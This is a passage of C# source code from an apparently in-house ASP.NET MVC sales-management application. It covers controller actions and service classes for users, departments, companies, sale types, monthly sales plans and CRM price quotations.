public ActionResult Create(UsersModel UsersModel1, long[] CompanyControls)
{
if (ModelState.IsValid)
{
if (UsersServices1.getUserById(UsersModel1.UserName) != null)
{
ModelState.AddModelError("UserName", "UserName have existed");
return View(UsersModel1);
}
try
{
UsersModel1.IsActive = true;
long UserId1 = UsersServices1.createUser(UsersModel1);
if (CompanyControls.Count() <= 0)
{
CompanyControls[0] = UsersModel1.ComId;
}
UsersServices1.createCompanyControl(UserId1, CompanyControls);
return RedirectToAction("Index");
}
catch (Exception e)
{
e.GetBaseException();
return View(UsersModel1);
}
}
return View(UsersModel1);
}
//
// GET: /Users/Edit/5
public ActionResult Detail(int id)
{
UsersModel Model1 = UsersServices1.getUserModelById((long)id);
if (Model1 == null)
{
return View("Index");
}
return View(Model1);
}
public ActionResult Edit(int id)
{
UsersModel Model1 = UsersServices1.getUserModelById((long)id);
if (Model1 == null)
{
return View("Create");
}
return View(Model1);
}
//
// POST: /Users/Edit/5
[HttpPost]
public ActionResult Edit(UsersModel UsersModel1, long[] CompanyControls)
{
try
{
// TODO: Add update logic here
UsersServices1.updateUser(UsersModel1);
UsersServices1.createCompanyControl(UsersModel1.Id, CompanyControls);
return RedirectToAction("Index");
}
catch (SqlException ex)
{
throw;
}
catch (Exception e)
{
throw e;
return View(UsersModel1);
}
}
//
// GET: /Users/Delete/5
public ActionResult Delete(int Id)
{
User user = null;
bool result = UsersServices1.deleteUserById(Id);
List<UsersModel> ListUser1 = UsersServices1.getAllUser();
ViewData["ListUser1"] = ListUser1;
if (!result)
{
user = UsersServices1.getUserById(Id);
ViewData["deleteError"] = true;
}
return RedirectToAction("Index");
}
//
// POST: /Users/Delete/5
[HttpPost]
public ActionResult Delete(int id, FormCollection collection)
{
try
{
// TODO: Add delete logic here
return RedirectToAction("Index");
}
catch
{
return View();
}
}
public ActionResult Department(long id)
{
IEnumerable<Department> DepartmentList1 = UsersServices1.getAllDepartment();
ViewData["DepartmentList1"] = DepartmentList1;
Department Department1 = UsersServices1.getDepartmentById(id);
if (Department1 == null)
{
var model = new DepartmentModel() { IsActive = true };
return View(model);
}
ViewData["ModifyDept"] = "ModifyDept";
DepartmentModel DepartmentModel1 = UsersServices1.getDepartmentModelById(id);
return View(DepartmentModel1);
}
[HttpPost]
public ActionResult Department(DepartmentModel DepartmentModel1)
{
if (ModelState.IsValid)
{
Department Department1 = UsersServices1.getDepartmentById(DepartmentModel1.Id);
if (Department1 != null)
{
UsersServices1.updateDepartment(DepartmentModel1);
}
else
{
UsersServices1.insertDepartment(DepartmentModel1);
}
}
else
{
ViewData["ModifyDept"] = "ModifyDept";
}
IEnumerable<Department> DepartmentList1 = UsersServices1.getAllDepartment();
ViewData["DepartmentList1"] = DepartmentList1;
return View(DepartmentModel1);
}
public ActionResult DepartmentDelete(long Id)
{
UsersServices1.deleteDeptById(Id);
return RedirectToAction("Department", new { id = -1 });
}
public ActionResult Company(long id)
{
IEnumerable<Company> CompanyList1 = UsersServices1.getAllCompany();
ViewData["CompanyList1"] = CompanyList1;
Company Company1 = UsersServices1.getCompanyById(id);
if (Company1 == null)
{
return View();
}
ViewData["ModifyCom"] = "ModifyCom";
CompanyModel CompanyModel1 = UsersServices1.getCompanyModelById(id);
return View(CompanyModel1);
}
[HttpPost]
public ActionResult Company(CompanyModel CompanyModel1)
{
if (ModelState.IsValid)
{
Company Company1 = UsersServices1.getCompanyById(CompanyModel1.Id);
if (Company1 != null)
{
UsersServices1.updateCompany(CompanyModel1);
}
else
{
CompanyModel1.Id = 0;
UsersServices1.insertCompany(CompanyModel1);
}
}
else
{
ViewData["ModifyCom"] = "ModifyCom";
}
IEnumerable<Company> CompanyList1 = UsersServices1.getAllCompany();
ViewData["CompanyList1"] = CompanyList1;
return View(CompanyModel1);
}
public ActionResult CompanyDelete(long Id)
{
UsersServices1.deleteComById(Id);
return RedirectToAction("Company", new { id = -1 });
}
public ActionResult DisplaySetting(long Id)
{
ViewData["SaleTypes"] = UsersServices1.getAllSaleTypes(false);
SettingModel SettingModel1 = new SettingModel();
var seting = UsersServices1.PageSettingNumber();
SettingModel1.PageNumber = seting == null ? "0" : seting.DataValue;
seting = UsersServices1.getTaxCommissiong();
SettingModel1.TaxCommistion = seting == null ? "0" : seting.DataValue;
if (Id == 0)
{
return View(SettingModel1);
}
SaleType SaleType1 = UsersServices1.getSaleTypeById(Id);
if (SaleType1 != null)
{
SettingModel1.Id = SaleType1.Id;
SettingModel1.SaleType = SaleType1.Name;
SettingModel1.Bonus = Convert.ToDouble(SaleType1.Value.Value);
ViewData["Action"] = "Update";
}
SettingModel1.Id = -1;
ViewData["Action"] = "Create";
return View(SettingModel1);
}
[HttpPost]
public ActionResult TaxSettting(SettingModel SettingModel1)
{
Setting Setting1 = new Setting();
UsersServices1.UpdateTaxCommission(long.Parse(SettingModel1.TaxCommistion));
UsersServices1.UpdatePageSeting(int.Parse(SettingModel1.PageNumber));
return RedirectToAction("DisplaySetting", new { id = 0 });
}
[HttpPost]
public ActionResult SaleTypesSettting(SettingModel SettingModel1)
{
try
{
SaleType SaleType1 = UsersServices1.getSaleTypeById(SettingModel1.Id);
if (SaleType1 != null)
{
SaleType1.Name = SettingModel1.SaleType;
SaleType1.Value = Convert.ToDecimal(SettingModel1.Bonus);
SaleType1.Active = true;
UsersServices1.UpdateSaleType(SaleType1);
}
else
{
SaleType1 = new SaleType();
SaleType1.Name = SettingModel1.SaleType;
SaleType1.Value = Convert.ToDecimal(SettingModel1.Bonus);
SaleType1.Active = true;
UsersServices1.InsertSaleType(SaleType1);
}
}
catch (Exception e)
{
e.Message.ToString();
}
return RedirectToAction("DisplaySetting", new { id = 0 });
}
public ActionResult DeActivateSaleType(long Id)
{
SaleType SaleType1 = UsersServices1.getSaleTypeById(Id);
if (SaleType1 != null)
{
SaleType1.Active = false;
UsersServices1.UpdateSaleType(SaleType1);
}
return RedirectToAction("DisplaySetting", new { id = 0 });
}
public ActionResult DeleteSaleType(long Id)
{
UsersServices1.DeleteSaleType(Id);
return RedirectToAction("DisplaySetting", new { id = 0 });
}
public ActionResult ActivateSaleType(long Id)
{
SaleType SaleType1 = UsersServices1.getSaleTypeById(Id);
if (SaleType1 != null)
{
SaleType1.Active = true;
UsersServices1.UpdateSaleType(SaleType1);
}
return RedirectToAction("DisplaySetting", new { id = 0 });
}
public ActionResult CheckDeleteSalesType(long id)
{
ViewBag.checkDelete = UsersServices1.CheckSaleTypeFree(id);
return PartialView("_CheckDelete", id);
}
private bool isManager()
{
if (User1.RoleName.Equals(UsersModel.Positions.Manager.ToString()))
{
return true;
}
return false;
}
private bool isDirector()
{
if (User1.RoleName.Equals(UsersModel.Positions.Director.ToString()))
{
return true;
}
return false;
}
private bool isAccountant()
{
if (UsersModel.Functions.Accountant.ToString().Equals(User1.Department != null ? User1.Department.DeptFunction : ""))
{
return true;
}
return false;
}
public ActionResult Plan4SalesRedirect()
{
if (isDirector() || isAccountant())
{
return RedirectToAction("DirectorPlan4Sales", new { id = 0 });
}
if (isManager())
{
return RedirectToAction("ManagerPlan4Sales", new { id = 0 });
}
return RedirectToAction("ManagerPlan4Sales", new { id = 0 });
}
public ActionResult ManagerPlan4Sales(long Id)
{
SalePlanModel SalePlanModel1 = null;
try
{
SalePlanModel1 = (SalePlanModel)Session[SalePlanModel.USER_SALE_PLAN_SESSION];
if (SalePlanModel1 == null)
{
SalePlanModel1 = new SalePlanModel();
DateTime Date1 = DateTime.Now;
SalePlanModel1.Month = Date1.Month;
SalePlanModel1.Year = Date1.Year;
Session[SalePlanModel.USER_SALE_PLAN_SESSION] = SalePlanModel1;
}
DateTime SearchDate = DateUtils.Convert2DateTime("01/" + DateUtils.ConvertDay(SalePlanModel1.Month.ToString()) + "/" + SalePlanModel1.Year);
ViewData["PlanFor"] = DateUtils.ConvertDay(SalePlanModel1.Month.ToString()) + "/" + SalePlanModel1.Year;
User UserSale = UsersServices1.getUserById(Id);
if (UserSale != null)
{
ViewData["Action"] = "Update";
SalePlan SalePlan1 = UsersServices1.getSalePlanByUser(Id, SearchDate);
SalePlanModel1.SaleName = UserSale.FullName;
if (SalePlan1 != null)
{
SalePlanModel1.PlanValue = Convert.ToDouble(SalePlan1.PlanValue);
}
else { SalePlanModel1.PlanValue = 0; }
}
SalePlan DeptSalePlan = UsersServices1.getSalePlanByDept(User1.DeptId.Value, SearchDate);
if (DeptSalePlan == null)
{
ViewData["DeptSalePlan"] = "0.0";
}
else
{
ViewData["DeptSalePlan"] = DeptSalePlan.PlanValue.Value.ToString("0.0");
}
ViewData["SalePlans"] = UsersServices1.getPlanDept(User1.DeptId.Value, SearchDate);
}
catch (Exception e) { }
return View(SalePlanModel1);
}
[HttpPost]
public ActionResult ManagerPlan4Sales(long Id, SalePlanModel SalePlanModel1)
{
Session[SalePlanModel.USER_SALE_PLAN_SESSION] = SalePlanModel1;
DateTime SearchDate = DateUtils.Convert2DateTime("01/" + DateUtils.ConvertDay(SalePlanModel1.Month.ToString()) + "/" + SalePlanModel1.Year);
SalePlan SalePlan1 = UsersServices1.getSalePlanByUser(Id, SearchDate);
User UserSale = UsersServices1.getUserById(Id);
UsersServices1.UpdateSalePlan(Id, SearchDate, SalePlanModel1.PlanValue);
ViewData["SalePlans"] = UsersServices1.getPlanDept(User1.DeptId.Value, SearchDate);
return RedirectToAction("ManagerPlan4Sales", new { id = 0 });
}
public ActionResult DirectorPlan4Sales(long Id)
{
SalePlanModel SalePlanModel1 = (SalePlanModel)Session[SalePlanModel.USER_SALE_PLAN_SESSION];
if (SalePlanModel1 == null)
{
SalePlanModel1 = new SalePlanModel();
DateTime Date1 = DateTime.Now;
SalePlanModel1.Month = Date1.Month;
SalePlanModel1.Year = Date1.Year;
Session[SalePlanModel.USER_SALE_PLAN_SESSION] = SalePlanModel1;
}
DateTime SearchDate = DateUtils.Convert2DateTime("01/" + DateUtils.ConvertDay(SalePlanModel1.Month.ToString()) + "/" + SalePlanModel1.Year);
ViewData["PlanFor"] = DateUtils.ConvertDay(SalePlanModel1.Month.ToString()) + "/" + SalePlanModel1.Year;
Company Company1 = UsersServices1.getCompanyById(Id);
if (Company1 != null)
{
ViewData["Action"] = "Update";
SalePlan SalePlan1 = UsersServices1.getSalePlanByCom(Id, SearchDate);
SalePlanModel1.SaleName = Company1.CompanyName;
if (SalePlan1 != null)
{
SalePlanModel1.PlanValue = Convert.ToDouble(SalePlan1.PlanValue);
}
else { SalePlanModel1.PlanValue = 0; }
}
SalePlanModel1.PlanOfficeType = SalePlanModel.PlanType.OFFICE.ToString();
ViewData["PlanTypeList"] = SalePlanModel.PlanTypeList;
ViewData["SalePlans"] = UsersServices1.getPlanComs(SearchDate);
return View(SalePlanModel1);
}
[HttpPost]
public ActionResult DirectorPlan4Sales(long Id, SalePlanModel SalePlanModel1)
{
if (SalePlanModel.PlanType.DEPARTMENT.ToString().Equals(SalePlanModel1.PlanOfficeType))
{
return RedirectToAction("Plan4Depts", new { id = 0 });
}
if (SalePlanModel.PlanType.QUOTA_IN_MONTH.ToString().Equals(SalePlanModel1.PlanOfficeType))
{
return RedirectToAction("QuataInMonth", new { id = 0 });
}
Session[SalePlanModel.USER_SALE_PLAN_SESSION] = SalePlanModel1;
DateTime SearchDate = DateUtils.Convert2DateTime("01/" + DateUtils.ConvertDay(SalePlanModel1.Month.ToString()) + "/" + SalePlanModel1.Year);
UsersServices1.UpdateSalePlanCom(Id, SearchDate, SalePlanModel1.PlanValue);
ViewData["SalePlans"] = UsersServices1.getPlanComs(SearchDate);
return RedirectToAction("DirectorPlan4Sales", new { id = 0 });
}
public ActionResult Plan4Depts(long Id)
{
SalePlanModel SalePlanModel1 = (SalePlanModel)Session[SalePlanModel.USER_SALE_PLAN_SESSION];
if (SalePlanModel1 == null)
{
SalePlanModel1 = new SalePlanModel();
DateTime Date1 = DateTime.Now;
SalePlanModel1.Month = Date1.Month;
SalePlanModel1.Year = Date1.Year;
Session[SalePlanModel.USER_SALE_PLAN_SESSION] = SalePlanModel1;
}
DateTime SearchDate = DateUtils.Convert2DateTime("01/" + DateUtils.ConvertDay(SalePlanModel1.Month.ToString()) + "/" + SalePlanModel1.Year);
ViewData["PlanFor"] = DateUtils.ConvertDay(SalePlanModel1.Month.ToString()) + "/" + SalePlanModel1.Year;
Department DepartmentSale = UsersServices1.getDepartmentById(Id);
if (DepartmentSale != null)
{
ViewData["Action"] = "Update";
SalePlan SalePlan1 = UsersServices1.getSalePlanByDept(Id, SearchDate);
SalePlanModel1.SaleName = DepartmentSale.DeptName;
if (SalePlan1 != null)
{
SalePlanModel1.PlanValue = Convert.ToDouble(SalePlan1.PlanValue);
}
else { SalePlanModel1.PlanValue = 0; }
}
SalePlanModel1.PlanOfficeType = SalePlanModel.PlanType.DEPARTMENT.ToString();
ViewData["PlanTypeList"] = SalePlanModel.PlanTypeList;
ViewData["SalePlans"] = UsersServices1.getPlanDepts(User1.ComId.Value, SearchDate);
return View(SalePlanModel1);
}
[HttpPost]
public ActionResult Plan4Depts(long Id, SalePlanModel SalePlanModel1)
{
if (SalePlanModel.PlanType.OFFICE.ToString().Equals(SalePlanModel1.PlanOfficeType))
{
return RedirectToAction("DirectorPlan4Sales", new { id = 0 });
}
if (SalePlanModel.PlanType.QUOTA_IN_MONTH.ToString().Equals(SalePlanModel1.PlanOfficeType))
{
return RedirectToAction("QuataInMonth", new { id = 0 });
}
Session[SalePlanModel.USER_SALE_PLAN_SESSION] = SalePlanModel1;
DateTime SearchDate = DateUtils.Convert2DateTime("01/" + DateUtils.ConvertDay(SalePlanModel1.Month.ToString()) + "/" + SalePlanModel1.Year);
UsersServices1.UpdateSalePlanDept(Id, SearchDate, SalePlanModel1.PlanValue);
ViewData["SalePlans"] = UsersServices1.getPlanDepts(User1.ComId.Value, SearchDate);
return RedirectToAction("Plan4Depts", new { id = 0 });
}
public ActionResult QuataInMonth()
{
SalePlanModel SalePlanModel1 = (SalePlanModel)Session[SalePlanModel.USER_SALE_PLAN_SESSION];
if (SalePlanModel1 == null)
{
SalePlanModel1 = new SalePlanModel();
DateTime Date1 = DateTime.Now;
SalePlanModel1.Month = Date1.Month;
SalePlanModel1.Year = Date1.Year;
Session[SalePlanModel.USER_SALE_PLAN_SESSION] = SalePlanModel1;
}
SalePlanModel1.PlanOfficeType = SalePlanModel.PlanType.QUOTA_IN_MONTH.ToString();
ViewData["PlanTypeList"] = SalePlanModel.PlanTypeList;
DateTime SearchDate = DateUtils.Convert2DateTime("01/" + DateUtils.ConvertDay(SalePlanModel1.Month.ToString()) + "/" + SalePlanModel1.Year);
ViewData["SalePlans4Com"] = UsersServices1.getPlanComs(SearchDate);
ViewData["SalePlans4Dept"] = UsersServices1.getPlanDepts(SearchDate);
if (User1.ComId != null)
{
ViewData["SalePlans4Salses"] = UsersServices1.getQuataInMonth(User1.ComId.Value, SearchDate);
}
return View(SalePlanModel1);
}
[HttpPost]
public ActionResult QuataInMonth(SalePlanModel SalePlanModel1)
{
if (SalePlanModel.PlanType.OFFICE.ToString().Equals(SalePlanModel1.PlanOfficeType))
{
return RedirectToAction("DirectorPlan4Sales", new { id = 0 });
}
else if (SalePlanModel.PlanType.DEPARTMENT.ToString().Equals(SalePlanModel1.PlanOfficeType))
{
return RedirectToAction("Plan4Depts", new { id = 0 });
}
Session[SalePlanModel.USER_SALE_PLAN_SESSION] = SalePlanModel1;
return RedirectToAction("QuataInMonth", new { id = 0 });
}
public ActionResult SetUserActive(int id, bool isActive)
{
UsersServices1.SetActive(id, isActive);
return Json("ok", JsonRequestBehavior.AllowGet);
}
public ActionResult SetDepartActive(int id, bool isActive)
{
UsersServices1.SetActiveDepartment(id, isActive);
return Json("ok", JsonRequestBehavior.AllowGet);
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using CrystalDecisions.CrystalReports.ViewerObjectModel;
using SSM.Common;
using SSM.Models;
namespace SSM.Services
{
public interface IGroupService : IServices<Group>
{
IQueryable<Group> GetQuerys(Group mode);
bool CreateGroup(GroupModel model, out string message);
bool UpdateGroup(GroupModel model, out string message);
bool DeleteGroup(int id, out string message);
GroupModel GetGroupModel(int id);
Group Get(int id);
bool SetActive(int id, bool isActive);
bool CheckGroupFree(int id );
IList<Group> GetGroupByUsers(long userId);
}
public class GroupService : Services<Group>, IGroupService
{
public IQueryable<Group> GetQuerys(Group mode)
{
return GetQuery(x =>
string.IsNullOrEmpty(mode.Name) || x.Name.Contains(mode.Name)
// && x.IsActive==mode.IsActive
);
}
public bool CreateGroup(GroupModel model, out string message)
{
try
{
message = string.Empty;
var db = ToGroup(model);
Insert(db);
AssignUserToGroup(db.Id, model.ListUserAccesses);
return true;
}
catch (Exception ex)
{
Logger.LogError(ex);
message = ex.Message;
return false;
}
}
public bool UpdateGroup(GroupModel model, out string message)
{
try
{
message = string.Empty;
var db = Get(model.Id);
CopyModelToGroup(model, db);
Commited();
AssignUserToGroup(db.Id, model.ListUserAccesses);
return true;
}
catch (Exception ex)
{
Logger.LogError(ex);
message = ex.Message;
return false;
}
}
public bool DeleteGroup(int id, out string message)
{
try
{
message = string.Empty;
var db = Get(id);
Delete(db);
return true;
}
catch (Exception ex)
{
Logger.LogError(ex);
message = ex.Message;
return false;
}
}
public GroupModel GetGroupModel(int id)
{
return ToGroupModel(Get(id));
}
public Group Get(int id)
{
return FindEntity(x => x.Id == id);
}
public bool SetActive(int id, bool isActive)
{
var db = Get(id);
db.IsActive = isActive;
Commited();
return true;
}
public bool CheckGroupFree(int id)
{
var model = GetGroupModel(id);
if(model.UserGroups.Any())
return true;
return false;
}
public IList<Group> GetGroupByUsers(long userId)
{
var db = GetAll(x => x.UserGroups.Any(u => u.UserId == userId));
return db;
}
private void CopyModelToGroup(GroupModel model, Group db)
{
db.Id = model.Id;
db.IsActive = model.IsActive;
db.Description = model.Discription;
db.Name = model.Name;
}
private GroupModel ToGroupModel(Group db)
{
var gModel = new GroupModel()
{
Id = db.Id,
Name = db.Name,
Discription = db.Description,
IsActive = db.IsActive,
UserGroups = db.UserGroups.ToList()
};
gModel.ListUserAccesses = gModel.UserGroups.Any() ? gModel.UserGroups.Select(x => x.UserId).ToArray() : new long[10];
return gModel;
}
private Group ToGroup(GroupModel model)
{
var db = new Group()
{
IsActive = model.IsActive,
Name = model.Name,
Description = model.Discription
};
return db;
}
private void AssignUserToGroup(int id, long[] userIds)
{
var userGroup = Context.UserGroups.Where(x => x.GroupId == id);
Context.UserGroups.DeleteAllOnSubmit(userGroup);
if (userIds== null)return;
List<UserGroup> groups = userIds.Select(userId => new UserGroup()
{
UserId = userId, GroupId = id,
}).ToList();
Context.UserGroups.InsertAllOnSubmit(groups);
Commited();
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using AutoMapper;
using SSM.Models;
using SSM.Models.CRM;
namespace SSM.Services.CRM
{
public interface ICRMPriceQuotationService : IServices<CRMPriceQuotation>
{
CRMPriceQuotation GetById(long id);
CRMPriceQuotationModel GetModel(long id);
long InsertModel(CRMPriceQuotationModel model);
void UpdateModel(CRMPriceQuotationModel model);
void UpdateSendMail(long id);
void DeletePrice(long id);
IEnumerable<CRMPriceQuotation> GetAll(PriceSearchModel fModel, SSM.Services.SortField sortField, out int totalRows, int page, int pageSize, User currenUser);
}
public class CRMPriceQuotationService : Services<CRMPriceQuotation>, ICRMPriceQuotationService
{
public CRMPriceQuotation GetById(long id)
{
return FindEntity(x => x.Id == id);
}
public CRMPriceQuotationModel GetModel(long id)
{
var db = GetById(id);
if (db == null)
throw new ArgumentNullException("id");
return ToModels(db);
}
public long InsertModel(CRMPriceQuotationModel model)
{
var db = ToDbModel(model);
Insert(db);
return db.Id;
}
public void UpdateModel(CRMPriceQuotationModel model)
{
var db = GetById(model.Id);
if (db == null)
throw new ArgumentNullException("model");
ConvertModel(model, db);
Commited();
}
public void UpdateSendMail(long id)
{
var db = GetById(id);
if (db == null)
throw new ArgumentNullException("id");
var emails = db.CRMEmailHistories.Count;
db.LastDateSend = DateTime.Now;
db.CountSendMail = emails;
Commited();
}
public void DeletePrice(long id)
{
var db = GetById(id);
if (db == null)
throw new ArgumentNullException("id");
Delete(db);
}
public IEnumerable<CRMPriceQuotation> GetAll(PriceSearchModel fModel, SortField sortField, out int totalRows, int page, int pageSize, User currenUser)
{
totalRows = 0;
var qr = GetQuery(p =>
(fModel.RefId == null || p.Id == fModel.RefId) &&
(string.IsNullOrEmpty(fModel.Name) || p.Subject.Contains(fModel.Name)) &&
(fModel.SalesId == 0 ||
(p.CreatedById == fModel.SalesId ||
(p.CRMCustomer.CRMFollowCusUsers != null && p.CRMCustomer.CRMFollowCusUsers.Any(x => x.UserId == fModel.SalesId))) ||
(p.CRMCustomer.CreatedById == fModel.SalesId)) &&
(fModel.DepId == 0 || (p.User != null && p.User.DeptId == fModel.DepId)) &&
(string.IsNullOrEmpty(fModel.CustomerName) || (p.CRMCustomer != null && p.CRMCustomer.CompanyShortName.Contains(fModel.CustomerName)))
);
if (fModel.StatusId != 0)
{
qr = qr.Where(x => x.StatusId == fModel.StatusId);
}
if (fModel.CusId > 0)
{
qr = qr.Where(x => x.CrmCusId == fModel.CusId);
}
if (fModel.DateType == "M")
{
if (fModel.FromDate.HasValue)
qr = qr.Where(x => x.LastDateSend >= fModel.FromDate);
if (fModel.ToDate.HasValue)
qr = qr.Where(x => x.LastDateSend <= fModel.ToDate);
}
else
{
if (fModel.FromDate.HasValue)
qr = qr.Where(x => x.CreatedDate >= fModel.FromDate);
if (fModel.ToDate.HasValue)
qr = qr.Where(x => x.CreatedDate <= fModel.ToDate);
}
if ((!currenUser.IsAdmin() || !currenUser.IsAccountant()) && fModel.SalesId == 0)
{
if (currenUser.IsDirecter())
{
var comid = Context.ControlCompanies.Where(x => x.UserId == currenUser.Id).Select(x => x.ComId).ToList();
comid.Add(currenUser.Id);
qr = qr.Where(x => comid.Contains(x.User.ComId.Value));
}
else if (currenUser.IsDepManager())
{
qr = qr.Where(x => x.User.DeptId == currenUser.DeptId || (x.CRMCustomer.CRMFollowCusUsers != null &&
x.CRMCustomer.CRMFollowCusUsers.Any(f => f.UserId == currenUser.Id)) ||
(x.CRMCustomer.CreatedById == currenUser.Id));
}
else
{
qr = qr.Where(x => x.CreatedById == currenUser.Id ||
(x.CRMCustomer.CRMFollowCusUsers != null &&
x.CRMCustomer.CRMFollowCusUsers.Any(f => f.UserId == currenUser.Id)) ||
(x.CRMCustomer.CreatedById == currenUser.Id));
}
}
totalRows = qr.Count();
qr = qr.OrderBy(sortField);
var list = GetListPager(qr, page, pageSize);
return list;
}
private CRMPriceQuotation ToDbModel(CRMPriceQuotationModel model)
{
var db = new CRMPriceQuotation
{
Subject = model.Subject,
Description = model.Description,
CreatedById = model.CreatedBy.Id,
CrmCusId = model.CrmCusId,
CreatedDate = DateTime.Now,
StatusId = model.StatusId,
IsDelete = false
};
return db;
}
private void ConvertModel(CRMPriceQuotationModel model, CRMPriceQuotation db)
{
db.Subject = model.Subject;
db.Description = model.Description;
db.ModifiedById = model.ModifiedBy.Id;
db.ModifiedDate = DateTime.Now;
db.StatusId = model.StatusId;
db.IsDelete = model.IsDelete;
}
public CRMPriceQuotationModel ToModels(CRMPriceQuotation priceQuotation)
{
if (priceQuotation == null) return null;
var model = Mapper.Map<CRMPriceQuotationModel>(priceQuotation);
model.CrmCusName = model.CRMCustomer.CompanyShortName;
model.CRMEmailHistories = priceQuotation.CRMEmailHistories.ToList();
return model;
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Linq.Expressions;
using SSM.Common;
using SSM.Models;
namespace SSM.Services
{
public interface ISettingService : IServices<Setting>
{
Setting GetByDataCode(string dataCode);
}
public class SettingServices : Services<Setting>, ISettingService
{
public Setting GetByDataCode(string dataCode)
{
return FindEntity(x => x.DataCode == dataCode);
}
}
public interface UsersServices : IServices<User>
{
List<UsersModel> getAllUser();
List<UsersModel> getOpnSaleUser();
List<UsersModel> getUsersBy(UsersModel UsersModel1);
List<UsersModel> getUsersBy(long DeptId);
UsersModel getUserModelById(long UserId1);
User getUserById(long UserId1);
User getUserById(string UserName);
void createUser(User User1);
long createUser(UsersModel UsersModel1);
void updateUser(UsersModel UsersModel1);
User getUserLogIn(string UserName, string Password);
IEnumerable<Company> getAllCompany();
void createCompanyControl(long UserId1, long[] CompanyIds);
IEnumerable<Department> getAllDepartment();
IEnumerable<Department> GetAllDepartmentActive(User user1, bool isAll=false);
Company getCompanyById(long id);
Department getDepartmentById(long id);
void updateCompany(CompanyModel CompanyModel1);
void updateDepartment(DepartmentModel CompanyModel1);
void insertCompany(CompanyModel CompanyModel1);
void insertDepartment(DepartmentModel CompanyModel1);
CompanyModel getCompanyModelById(long id);
DepartmentModel getDepartmentModelById(long id);
bool UpdateTaxCommission(long Tax);
bool UpdatePageSeting(int page);
bool UpdateSaleType(SaleType SaleType1);
bool InsertSaleType(SaleType SaleType1);
Setting getTaxCommissiong();
Setting PageSettingNumber();
IEnumerable<SaleType> getAllSaleTypes(bool Active);
SaleType getSaleTypeById(long Id);
bool DeleteSaleType(long Id);
IEnumerable<UserSalePlan> getPlanDepts(DateTime SearchDate);
IEnumerable<UserSalePlan> getPlanDepts(long CompanyId, DateTime SearchDate);
IEnumerable<UserSalePlan> getPlanComs(DateTime SearchDate);
IEnumerable<UserSalePlan> getPlanDept(long deptId, DateTime SearchDate);
SalePlan getSalePlanByUser(long UserId1, DateTime SearchDate);
SalePlan getSalePlanByDept(long DeptId1, DateTime SearchDate);
SalePlan getSalePlanByCom(long ComdId1, DateTime SearchDate);
bool UpdateSalePlan(long UserId, DateTime monthDate, double SalePlanValue);
bool UpdateSalePlanDept(long DeptId, DateTime monthDate, double SalePlanValue);
bool UpdateSalePlanCom(long DeptId, DateTime monthDate, double SalePlanValue);
double getReportYear(long UserId1, int year);
bool deleteUserById(long UserId1);
bool deleteComById(long Id);
bool deleteDeptById(long Id);
IEnumerable<UserSalePlan> getQuataInMonth(long ComId, DateTime SearchDate);
bool UpdateComSetting(String Name, Object Value);
String getComSetting(String Name);
Setting getComLogoSetting(String Name);
void updateAny();
//Add Office report
double getReportYearDept(long DeptId, int year);
IEnumerable<long> GetAllUsersComs(User user);
bool SetActive(int id, bool isActive);
bool SetActiveDepartment(int id, bool isActive);
bool CheckSaleTypeFree(long id);
List<User> GetAllSales(User user, bool isAll = true);
IEnumerable<Department> GetSalesDept();
IEnumerable<Company> GetCompanies(User user);
IQueryable<User> GetAllSalesAndOp(User user, bool isAll = true);
Setting CRMDayCanelSettingNumber();
bool UpdateCRMDayCacelSeting(string day);
}
public class UsersServicesImpl : Services<User>, UsersServices
{
public List<UsersModel> getUsersBy(long DeptId)
{
try
{
List<User> UserList1 = (from User1 in db.Users
where User1.Department.Id == DeptId && User1.IsActive == true
orderby User1.FullName ascending
select User1).ToList();
List<UsersModel> UsersModel1 = new List<UsersModel>();
if (UserList1 == null || UserList1.Count == 0)
{
return UsersModel1;
}
foreach (User UserItem in UserList1)
{
UsersModel1.Add(ConvertModel(UserItem));
}
return UsersModel1;
}
catch (Exception e) { }
return null;
}
public void updateAny()
{
try
{
db.SubmitChanges();
}
catch (Exception e)
{
Logger.LogError(e);
}
}
public bool deleteUserById(long UserId1)
{
try
{
User User1 = getUserById(UserId1);
Delete(User1);
return true;
}
catch (Exception e)
{
e.Message.ToString();
}
return false;
}
public double getReportYear(long UserId1, int year)
{
try
{
var YearPlanTotal = (from SalePlan1 in db.SalePlans
where (SalePlan1.User != null && SalePlan1.UserId == UserId1)
&& SalePlan1.PlanMonth.Value.Year == year
group SalePlan1 by SalePlan1.User
into _group
select new YearPlan(Convert.ToDouble(_group.Sum(s => s.PlanValue)))).First().TotalPlan;
return YearPlanTotal;
}
catch (Exception e)
{
e.Message.ToString();
}
return 0.0;
}
public double getReportYearDept(long DeptId, int year)
{
try
{
var YearPlanTotal = (from SalePlan1 in db.SalePlans
where (SalePlan1.Department != null && SalePlan1.DeptId == DeptId)
&& SalePlan1.PlanMonth.Value.Year == year
group SalePlan1 by SalePlan1.Department
into _group
select new YearPlan(Convert.ToDouble(_group.Sum(s => s.PlanValue)))).First().TotalPlan;
return YearPlanTotal;
}
catch (Exception e)
{
Logger.LogError(e);
}
return 0.0;
}
public IEnumerable<long> GetAllUsersComs(User user)
{
var list = Context.ControlCompanies.Where(x => x.UserId == user.Id).Select(c => c.ComId);
return list;
}
public bool SetActive(int id, bool isActive)
{
var user = FindEntity(x => x.Id == id);
if (user == null) return false;
user.IsActive = isActive;
Commited();
return true;
}
public bool SetActiveDepartment(int id, bool isActive)
{
var depart = getDepartmentById(id);
if (depart == null) return false;
depart.IsActive = isActive;
db.SubmitChanges();
return true;
}
public bool CheckSaleTypeFree(long id)
{
var checkedFee = ListSaleType().Any(x => x.Id == id);
return checkedFee;
}
public List<User> GetAllSales(User user, bool isAll = true)
{
var qr =
GetQuery(
x =>
x.IsActive == true && !x.Department.DeptFunction.Equals(UsersModel.Positions.Accountant.ToString()) &&
!x.Department.DeptFunction.Equals(UsersModel.DisplayPositions.Director.ToString()));
if (user.IsComDirecter())
{
var comId = user.ControlCompanies.Select(x => x.ComId).ToList();
if (!comId.Contains(user.ComId.Value))
{
comId.Add(user.ComId.Value);
}
qr = qr.Where(x => comId.Contains(x.ComId.Value));
}
if (user.IsAccountant())
{
qr = qr.Where(x => x.ComId == user.ComId);
}
if (!user.IsAdminAndAcct() && !isAll)
qr = qr.Where(x => x.DeptId == user.DeptId);
qr.ToList();
return qr.OrderBy(x => x.FullName).ToList();
}
public IEnumerable<Department> GetSalesDept()
{
var list =
Context.Departments.Where(
x => (
x.DeptFunction == UsersModel.Functions.Operations.ToString() ||
